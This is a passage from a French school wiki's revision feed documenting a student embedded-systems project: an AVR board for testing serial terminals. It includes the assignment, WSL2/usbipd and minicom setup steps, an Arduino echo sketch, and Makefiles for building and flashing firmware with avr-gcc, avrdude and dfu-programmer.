      $(LUFA_CORE_SRC) $(LUFA_CLASS_SRC)&lt;br /&gt;
OBJ = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -ffunction-sections -fdata-sections \&lt;br /&gt;
          -I$(LUFA_PATH) -I$(LUFA_PATH)/Drivers -I. \&lt;br /&gt;
          -DUSE_LUFA_CONFIG_HEADER -I$(LUFA_PATH) -I$(LUFA_PATH)/Drivers -I.&lt;br /&gt;
LDFLAGS = -Wl,--gc-sections&lt;br /&gt;
&lt;br /&gt;
# ========= Règles =========&lt;br /&gt;
.PHONY: all clean erase flash reset info&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) $(LDFLAGS) $^ -o $@&lt;br /&gt;
&lt;br /&gt;
$(TARGET).hex: $(TARGET).elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
# -------- DFU workflow --------&lt;br /&gt;
info:&lt;br /&gt;
	@echo &amp;quot;DFU: maintenir HWB, pulse RESET, relâcher RESET, relâcher HWB.&amp;quot;&lt;br /&gt;
	@echo &amp;quot;Ensuite: make erase &amp;amp;&amp;amp; make flash &amp;amp;&amp;amp; make reset&amp;quot;&lt;br /&gt;
&lt;br /&gt;
erase:&lt;br /&gt;
	dfu-programmer at90usb1287 erase&lt;br /&gt;
&lt;br /&gt;
flash: $(TARGET).hex&lt;br /&gt;
	dfu-programmer at90usb1287 flash $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
reset:&lt;br /&gt;
	dfu-programmer at90usb1287 reset&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vidéos de démonstration avec &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Arduino UNO Minicom Pendu + Tetriss.mp4|vignette|Arduino UNO Minicom Pendu + Tetriss]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Programme de test avancé ==&lt;br /&gt;
&lt;br /&gt;
Archive attachée avec &amp;lt;code&amp;gt;Makefile&amp;lt;/code&amp;gt; intégré. &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = atmega328p&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# Tes sources C (modifie si besoin)&lt;br /&gt;
SRC     = main.c serial.c timer.c hangman.c tetris.c&lt;br /&gt;
OBJ     = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -W -Wall -Wextra -std=c99&lt;br /&gt;
&lt;br /&gt;
# ========= Port série (à adapter) =========&lt;br /&gt;
# Linux / WSL&lt;br /&gt;
PORT    = /dev/ttyACM0&lt;br /&gt;
# Windows (exemple)&lt;br /&gt;
# PORT  = COM4&lt;br /&gt;
# macOS (exemple)&lt;br /&gt;
# PORT  = /dev/tty.usbmodem14101&lt;br /&gt;
&lt;br /&gt;
# ========= avrdude (bootloader Optiboot UNO) =========&lt;br /&gt;
AVRDUDE     = avrdude&lt;br /&gt;
PROGRAMMER  = arduino&lt;br /&gt;
BAUD        = 115200&lt;br /&gt;
&lt;br /&gt;
# ========= dfu-programmer (ATmega16U2 en DFU) =========&lt;br /&gt;
DFU_CHIP    = atmega16u2&lt;br /&gt;
# Met le chemin vers le firmware USB-série officiel Uno R3 (ou ton .hex LUFA)&lt;br /&gt;
# Exemples : &lt;br /&gt;
#  - Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
#  - Arduino-COMBINED-dfu-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
FW16U2      = Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
&lt;br /&gt;
# ========= Règles par défaut =========&lt;br /&gt;
.PHONY: all clean upload flash16u2 help&lt;br /&gt;
&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) -o $@ $^&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
%.hex: %.elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
# ========= Téléversement sur l'ATmega328P (comme l'IDE Arduino) =========&lt;br /&gt;
upload: $(TARGET).hex&lt;br /&gt;
	$(AVRDUDE) -p m328p -c $(PROGRAMMER) -P $(PORT) -b $(BAUD) -D -U flash:w:$&amp;lt;:i&lt;br /&gt;
&lt;br /&gt;
# ========= Flash du 16U2 en DFU (optionnel) =========&lt;br /&gt;
flash16u2:&lt;br /&gt;
	@if [ ! -f &amp;quot;$(FW16U2)&amp;quot; ]; then echo &amp;quot;&amp;gt;&amp;gt; ERREUR: FW16U2 introuvable: $(FW16U2)&amp;quot;; exit 1; fi&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; Assure-toi que l'ATmega16U2 est en mode DFU (RESET↔GND sur header ICSP du 16U2).&amp;quot;&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) erase&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) flash $(FW16U2)&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) reset&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; 16U2 reflashé. Le port série doit réapparaître.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
help:&lt;br /&gt;
	@echo &amp;quot;Cibles utiles :&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make            -&amp;gt; compile et génère $(TARGET).hex&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make upload     -&amp;gt; téléverse sur l'ATmega328P via bootloader (avrdude)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make flash16u2  -&amp;gt; flashe le firmware du pont USB ATmega16U2 (dfu-programmer)&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make clean      -&amp;gt; nettoyage&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Deuxième Makefile &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = at90usb1287&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# ========= LUFA =========&lt;br /&gt;
LUFA_PATH = ./LUFA&lt;br /&gt;
&lt;br /&gt;
# Core USB (prend tous les .c du core + AVR8 pour éviter les soucis de noms)&lt;br /&gt;
LUFA_CORE_SRC = \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Core/*.c) \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Core/AVR8/*.c)&lt;br /&gt;
&lt;br /&gt;
# Classe CDC côté Device (et commun) — uniquement CDC&lt;br /&gt;
LUFA_CLASS_SRC = \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Class/Common/*CDC*.c) \&lt;br /&gt;
  $(wildcard $(LUFA_PATH)/Drivers/USB/Class/Device/*CDC*.c)&lt;br /&gt;
&lt;br /&gt;
# ========= Sources de ton projet =========&lt;br /&gt;
SRC = main.c hangman.c tetris.c timer.c serial.c Descriptors.c \&lt;br /&gt;
      $(LUFA_CORE_SRC) $(LUFA_CLASS_SRC)&lt;br /&gt;
OBJ = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -ffunction-sections -fdata-sections \&lt;br /&gt;
          -I$(LUFA_PATH) -I$(LUFA_PATH)/Drivers -I. \&lt;br /&gt;
          -DUSE_LUFA_CONFIG_HEADER -I$(LUFA_PATH) -I$(LUFA_PATH)/Drivers -I.&lt;br /&gt;
LDFLAGS = -Wl,--gc-sections&lt;br /&gt;
&lt;br /&gt;
# ========= Règles =========&lt;br /&gt;
.PHONY: all clean erase flash reset info&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) $(LDFLAGS) $^ -o $@&lt;br /&gt;
&lt;br /&gt;
$(TARGET).hex: $(TARGET).elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
# -------- DFU workflow --------&lt;br /&gt;
info:&lt;br /&gt;
	@echo &amp;quot;DFU: maintenir HWB, pulse RESET, relâcher RESET, relâcher HWB.&amp;quot;&lt;br /&gt;
	@echo &amp;quot;Ensuite: make erase &amp;amp;&amp;amp; make flash &amp;amp;&amp;amp; make reset&amp;quot;&lt;br /&gt;
&lt;br /&gt;
erase:&lt;br /&gt;
	dfu-programmer at90usb1287 erase&lt;br /&gt;
&lt;br /&gt;
flash: $(TARGET).hex&lt;br /&gt;
	dfu-programmer at90usb1287 flash $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
reset:&lt;br /&gt;
	dfu-programmer at90usb1287 reset&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vidéos de démonstration avec &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Arduino UNO Minicom Pendu + Tetris.mp4|vignette]]&lt;br /&gt;
|-&lt;br /&gt;
![[Fichier:Vidéo démonstrative surMinicom avec Carte de M-Zongo.mp4|vignette|Vidéo démonstrative surMinicom avec Carte de M-Zongo]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Démonstration de fonctionnement sur terminaux anciens ==&lt;br /&gt;
&lt;br /&gt;
Vidéos de démonstration.&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Vid%C3%A9o_d%C3%A9monstrative_surMinicom_avec_Carte_de_M-Zongo.mp4&amp;diff=10326</id>
		<title>Fichier:Vidéo démonstrative surMinicom avec Carte de M-Zongo.mp4</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Vid%C3%A9o_d%C3%A9monstrative_surMinicom_avec_Carte_de_M-Zongo.mp4&amp;diff=10326"/>
		<updated>2025-09-03T18:32:38Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Vidéo démonstrative surMinicom avec Carte de M-Zongo&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2024/2025_EC2&amp;diff=10325</id>
		<title>SE4 2024/2025 EC2</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2024/2025_EC2&amp;diff=10325"/>
		<updated>2025-09-03T15:35:45Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Programme de test ASCII */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Vous allez concevoir, réaliser et programmer un système embarqué de test de terminaux série assez souvent utilisés pour l'administration système et réseau.&lt;br /&gt;
&lt;br /&gt;
Les terminaux visés sont des terminaux logiciels comme &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; tournant sur un système d'exploitation moderne mais aussi d'ancien terminaux comme un Ampex 210 ou un Televideo TVI-920C.&lt;br /&gt;
&lt;br /&gt;
Vous commencerez par concevoir votre carte dont le coeur doit être un microcontrôleur AVR et qui doit pouvoir se connecter en USB/série à un PC moderne mais aussi à d'anciens terminaux via des connecteurs DB9 et DB25 (voir les manuels des terminaux pour le brochage). L'utilisateur doit aussi pouvoir sélectionner le mode de test et le type de terminal. Une réflexion doit être menée sur l'alimentation de la carte. Vous avez le droit à un budget de 50 euros pour la carte, les composants et le port.&lt;br /&gt;
&lt;br /&gt;
Une fois la carte conçue et validée par l'encadrant vous pourrez vous pencher sur la programmation de la carte. Cette programmation se fera uniquement en utilisant la version AVR de &amp;lt;code&amp;gt;gcc&amp;lt;/code&amp;gt; et l'utilitaire &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;. Vous pouvez utiliser l'Arduino Uno fourni pour les premières versions de votre programme de test de terminaux. Comme terminal vous pouvez utiliser &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; dans un premier temps.&lt;br /&gt;
&lt;br /&gt;
Le logiciel de test doit proposer plusieurs tests, un test fonctionnant en ASCII pur, par exemple un jeu de pendu et un jeu plus complexe utilisant des séquences de déplacement du curseur sur l'écran, par exemple un jeu tétris. Pour les séquences permettant l'adressage du curseur, vous pouvez utilisez le protocole VT100 pour &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt;. Pour les terminaux plus anciens, vérifiez quels protocoles avancés de gestion d'affichage sont disponibles. Le cas échéant, faites en sorte que votre test avancé puisse utiliser des protocoles différents sélectionnés par l'utilisateur via les contrôles sur votre carte.&lt;br /&gt;
&lt;br /&gt;
L'épreuve sera considérée comme un succès s'il est possible de jouer à tétris sur un des deux anciens terminaux.&lt;br /&gt;
&lt;br /&gt;
Il s'agit là d'un cahier des charges initial qui peut être revu en cas d'ambigüité. Vous avez jusqu'au 1 septembre pour réaliser le travail demandé. Il vous est explicitement demandé de produire un travail régulier le plus tôt possible *et* de faire des rapports réguliers (obligatoirement au travers de ce Wiki) à votre encadrant. S'y prendre à la dernière minute avec un seul retour à quelques jours de la date limite est une garantie d'échec.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Le matériel nécessaire est constitué :&lt;br /&gt;
* d'un PC pour la conception de la carte et la mise au point du programme embarqué (à votre charge) ;&lt;br /&gt;
* d'un Arduino UNO pour le test de la version initiale de votre programme embarqué (fourni par l'encadrant) ;&lt;br /&gt;
* de terminaux Ampex 210 et Televideo TVI-920C (à utiliser à l'école fin août).&lt;br /&gt;
&lt;br /&gt;
= Foire aux questions =&lt;br /&gt;
&lt;br /&gt;
* L'épreuve complémentaire est-elle réalisable au domicile de l'élève ?&lt;br /&gt;
&lt;br /&gt;
La conception de la carte est réalisable à domicile, la fabrication de la carte est prévue à l'extérieur (50 euros maximum, composants et port compris), il faut donc une adresse postale valide pour recevoir le PCB, la réalisation de la carte peut être externalisée (dans la limite des 50 euros) ou à domicile en utilisant un fer à souder personnel, le développement initial est réalisable sur l'Arduino fourni (et un PC personnel), les tests basiques et avancés sont réalisables à domicile (Arduino et PC personnel), le test sur les anciens terminaux est à prévoir fin août à l'école. Il n'est pas prévu d'accès aux ressources de l'école avant fin août.&lt;br /&gt;
&lt;br /&gt;
* Où est disponible l'Arduino UNO ?&lt;br /&gt;
&lt;br /&gt;
Comme indiqué dans le courriel du 15 juillet, le matériel est disponible à l'accueil de l'école. A rendre au premier septembre 2025.&lt;br /&gt;
&lt;br /&gt;
* Comment programmer la carte ?&lt;br /&gt;
&lt;br /&gt;
Comme indiqué dans le sujet, la carte doit pouvoir se programmer par DFU/USB. Il est conseillé d'utiliser un système d'exploitation Linux pour le développement du programme embarqué mais vous pouvez utiliser tout autre système du moment que vous assumez ce choix.&lt;br /&gt;
&lt;br /&gt;
* Comment sera testée la carte réalisée ?&lt;br /&gt;
&lt;br /&gt;
La carte sera testée par l'encadrant d'abord en utilisant l'utilitaire &amp;lt;code&amp;gt;minicom&amp;lt;/code&amp;gt; avec son émulation VT100 sous un Linux mais l'élève peut tester son code avec tout autre outil. Un second test sera conduit sur les anciens terminaux série de l'école.&lt;br /&gt;
&lt;br /&gt;
* Précisions sur les jeux &amp;quot;pendu&amp;quot; et &amp;quot;tétris&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les jeux évoqués doivent pouvoir être joué à partir de l'écran et des touches des terminaux. Les éventuelles touches sur la cartes ne servent qu'à sélectionner le test et le protocole de commandes du terminal (VT100 ou autre).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== COMPTE-RENDU DU 28/07/2025 ===&lt;br /&gt;
&lt;br /&gt;
==== &amp;lt;u&amp;gt;Préliminaires – Connexion d’un Arduino via USB à Minicom dans WSL2&amp;lt;/u&amp;gt; ====&lt;br /&gt;
Dans ce projet, il est nécessaire de communiquer avec un microcontrôleur (ici, un '''Arduino Uno''') connecté en '''USB''' à un PC sous '''Windows 11''', en utilisant un outil typiquement '''Linux''' : '''Minicom''', un terminal série.&lt;br /&gt;
&lt;br /&gt;
Or, Minicom ne fonctionne pas directement sur Windows, et nécessite un environnement Linux. Pour cette raison, nous avons mis en place un environnement '''WSL2''' (Windows Subsystem for Linux) avec '''Ubuntu''', capable d'accéder au port USB de l'Arduino.&lt;br /&gt;
&lt;br /&gt;
Cette section détaille toutes les étapes techniques pour configurer correctement cette chaîne de communication entre :&lt;br /&gt;
&lt;br /&gt;
* l’'''IDE Arduino''' sous Windows pour téléverser les programmes,&lt;br /&gt;
* l’environnement '''Ubuntu WSL2''' pour dialoguer via le terminal Minicom.&lt;br /&gt;
&lt;br /&gt;
===== &amp;lt;u&amp;gt;Environnement logiciel utilisé&amp;lt;/u&amp;gt; =====&lt;br /&gt;
&lt;br /&gt;
* '''Système d’exploitation''' : Windows 11&lt;br /&gt;
* '''Distribution Linux via WSL2''' : Ubuntu 20.04&lt;br /&gt;
* '''Périphérique série utilisé''' : Arduino Uno &lt;br /&gt;
* '''Outils utilisés''' :&lt;br /&gt;
** WSL2&lt;br /&gt;
** usbipd-win (redirection USB vers WSL)&lt;br /&gt;
** &amp;lt;code&amp;gt;Minicom&amp;lt;/code&amp;gt; (communication série Linux)&lt;br /&gt;
&lt;br /&gt;
==== Redirection USB du port Arduino vers WSL ====&lt;br /&gt;
Par défaut, un port USB comme '''COM9''' sur Windows '''n'est pas visible directement''' sous WSL. Pour le rendre accessible à Ubuntu, il faut utiliser '''usbipd-win'''.&lt;br /&gt;
&lt;br /&gt;
==== Installer usbipd ====&lt;br /&gt;
Dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;winget install usbipd&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redémarrer le système W11 une fois l'installation terminée.&lt;br /&gt;
&lt;br /&gt;
=== Identifier le port USB de l’Arduino ===&lt;br /&gt;
Branche l’Arduino via USB.&lt;br /&gt;
&lt;br /&gt;
Dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;usbipd list&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cela affiche tous les périphériques USB connectés. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;BUSID  VID:PID    DEVICE&lt;br /&gt;
1-1    2341:0043  Périphérique série USB (COM9)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici, le '''BUSID''' est &amp;lt;code&amp;gt;1-1&amp;lt;/code&amp;gt; et l’Arduino est détecté sur le '''port COM9'''.&lt;br /&gt;
&lt;br /&gt;
=== Partager puis attacher le port à WSL ===&lt;br /&gt;
Toujours dans PowerShell :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;usbipd bind --busid 1-1&lt;br /&gt;
usbipd attach --busid 1-1 --wsl&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vérifier dans Ubuntu que le port est bien présent&lt;br /&gt;
Dans Ubuntu (WSL) :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ls /dev/tty*&lt;br /&gt;
/dev/tty    /dev/tty21  /dev/tty35  /dev/tty49  /dev/tty62&lt;br /&gt;
/dev/tty0   /dev/tty22  /dev/tty36  /dev/tty5   /dev/tty63&lt;br /&gt;
/dev/tty1   /dev/tty23  /dev/tty37  /dev/tty50  /dev/tty7&lt;br /&gt;
/dev/tty10  /dev/tty24  /dev/tty38  /dev/tty51  /dev/tty8&lt;br /&gt;
/dev/tty11  /dev/tty25  /dev/tty39  /dev/tty52  /dev/tty9&lt;br /&gt;
/dev/tty12  /dev/tty26  /dev/tty4   /dev/tty53  /dev/ttyACM0&lt;br /&gt;
/dev/tty13  /dev/tty27  /dev/tty40  /dev/tty54  /dev/ttyS0&lt;br /&gt;
/dev/tty14  /dev/tty28  /dev/tty41  /dev/tty55  /dev/ttyS1&lt;br /&gt;
/dev/tty15  /dev/tty29  /dev/tty42  /dev/tty56  /dev/ttyS2&lt;br /&gt;
/dev/tty16  /dev/tty3   /dev/tty43  /dev/tty57  /dev/ttyS3&lt;br /&gt;
/dev/tty17  /dev/tty30  /dev/tty44  /dev/tty58  /dev/ttyS4&lt;br /&gt;
/dev/tty18  /dev/tty31  /dev/tty45  /dev/tty59  /dev/ttyS5&lt;br /&gt;
/dev/tty19  /dev/tty32  /dev/tty46  /dev/tty6   /dev/ttyS6&lt;br /&gt;
/dev/tty2   /dev/tty33  /dev/tty47  /dev/tty60  /dev/ttyS7&lt;br /&gt;
/dev/tty20  /dev/tty34  /dev/tty48  /dev/tty61&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Ce périphérique correspond à l’Arduino connecté en USB.&lt;br /&gt;
C’est ce port que Minicom utilisera pour la communication série.&lt;br /&gt;
&lt;br /&gt;
Exemple de sketch Arduino pour test de communication&lt;br /&gt;
Ce sketch permet de tester si la communication fonctionne bien.&lt;br /&gt;
Téléverser via l’IDE Arduino sous Windows avant d’attacher le périphérique à WSL :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;cpp&amp;quot;&amp;gt;&lt;br /&gt;
void setup() {&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void loop() {&lt;br /&gt;
  if (Serial.available()) {&lt;br /&gt;
    char c = Serial.read();&lt;br /&gt;
    Serial.print(&amp;quot;Vous avez tapé : &amp;quot;);&lt;br /&gt;
    Serial.println(c);&lt;br /&gt;
  }&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Alternance Windows ↔ WSL &lt;br /&gt;
&lt;br /&gt;
Pour téléverser un sketch depuis Windows :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;usbipd detach --busid 1-1&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
(Le périphérique redevient accessible dans l’IDE Arduino sous Windows)&lt;br /&gt;
&lt;br /&gt;
Pour basculer la communication vers Ubuntu (Minicom) :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;usbipd bind --busid 1-1&lt;br /&gt;
usbipd attach --busid 1-1 --wsl&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Cette alternance peut être répétée autant que nécessaire.&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
&lt;br /&gt;
== Projet KiCAD de la carte ==&lt;br /&gt;
Lien Gitea avec Code Arduino, Code C, Makefile, fichiers KiCAD : https://gitea.plil.fr/pcasimir/Test-Terminaux_Rattrapages-SE4-2025.git&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Terminal-Testing SCH KiCAD.pdf|alt=Terminal-Testing SCH KiCAD|vignette|Terminal-Testing SCH KiCAD]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Programme de test ASCII ==&lt;br /&gt;
&lt;br /&gt;
Archive attachée avec &amp;lt;code&amp;gt;Makefile&amp;lt;/code&amp;gt; intégré. &amp;lt;syntaxhighlight lang=&amp;quot;makefile&amp;quot;&amp;gt;&lt;br /&gt;
# ========= Projet =========&lt;br /&gt;
TARGET  = program&lt;br /&gt;
MCU     = atmega328p&lt;br /&gt;
F_CPU   = 16000000UL&lt;br /&gt;
&lt;br /&gt;
# Tes sources C&lt;br /&gt;
SRC     = main.c serial.c timer.c hangman.c tetris.c&lt;br /&gt;
OBJ     = $(SRC:.c=.o)&lt;br /&gt;
&lt;br /&gt;
# ========= Outils =========&lt;br /&gt;
CC      = avr-gcc&lt;br /&gt;
OBJCOPY = avr-objcopy&lt;br /&gt;
CFLAGS  = -mmcu=$(MCU) -DF_CPU=$(F_CPU) -Os -W -Wall -Wextra -std=c99&lt;br /&gt;
&lt;br /&gt;
# ========= Port série (à adapter si besoin) =========&lt;br /&gt;
# Linux / WSL&lt;br /&gt;
PORT    = /dev/ttyACM0&lt;br /&gt;
# Windows (exemple)&lt;br /&gt;
# PORT  = COM4&lt;br /&gt;
# macOS (exemple)&lt;br /&gt;
# PORT  = /dev/tty.usbmodem14101&lt;br /&gt;
&lt;br /&gt;
# ========= avrdude (bootloader Optiboot UNO) =========&lt;br /&gt;
AVRDUDE     = avrdude&lt;br /&gt;
PROGRAMMER  = arduino&lt;br /&gt;
BAUD        = 115200&lt;br /&gt;
&lt;br /&gt;
# ========= dfu-programmer (ATmega16U2 en DFU) =========&lt;br /&gt;
DFU_CHIP    = atmega16u2&lt;br /&gt;
# Met le chemin vers le firmware USB-série officiel Uno R3 (ou ton .hex LUFA)&lt;br /&gt;
# Exemples : &lt;br /&gt;
#  - Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
#  - Arduino-COMBINED-dfu-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
FW16U2      = Arduino-usbserial-atmega16u2-Uno-Rev3.hex&lt;br /&gt;
&lt;br /&gt;
# ========= Règles par défaut =========&lt;br /&gt;
.PHONY: all clean upload flash16u2 help&lt;br /&gt;
&lt;br /&gt;
all: $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
$(TARGET).elf: $(OBJ)&lt;br /&gt;
	$(CC) $(CFLAGS) -o $@ $^&lt;br /&gt;
&lt;br /&gt;
%.o: %.c&lt;br /&gt;
	$(CC) $(CFLAGS) -c $&amp;lt; -o $@&lt;br /&gt;
&lt;br /&gt;
%.hex: %.elf&lt;br /&gt;
	$(OBJCOPY) -O ihex -R .eeprom $&amp;lt; $@&lt;br /&gt;
&lt;br /&gt;
# ========= Téléversement sur l'ATmega328P (comme l'IDE Arduino) =========&lt;br /&gt;
upload: $(TARGET).hex&lt;br /&gt;
	$(AVRDUDE) -p m328p -c $(PROGRAMMER) -P $(PORT) -b $(BAUD) -D -U flash:w:$&amp;lt;:i&lt;br /&gt;
&lt;br /&gt;
# ========= Flash du 16U2 en DFU (optionnel) =========&lt;br /&gt;
flash16u2:&lt;br /&gt;
	@if [ ! -f &amp;quot;$(FW16U2)&amp;quot; ]; then echo &amp;quot;&amp;gt;&amp;gt; ERREUR: FW16U2 introuvable: $(FW16U2)&amp;quot;; exit 1; fi&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; Assure-toi que l'ATmega16U2 est en mode DFU (RESET↔GND sur header ICSP du 16U2).&amp;quot;&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) erase&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) flash $(FW16U2)&lt;br /&gt;
	dfu-programmer $(DFU_CHIP) reset&lt;br /&gt;
	@echo &amp;quot;&amp;gt;&amp;gt; 16U2 reflashé. Le port série doit réapparaître.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
clean:&lt;br /&gt;
	rm -f $(OBJ) $(TARGET).elf $(TARGET).hex&lt;br /&gt;
&lt;br /&gt;
help:&lt;br /&gt;
	@echo &amp;quot;Cibles utiles :&amp;quot;&lt;br /&gt;
	@echo &amp;quot;  make            -&amp;gt; compile et génère $(TARGET).hex&amp;quot;&lt;br /&gt;
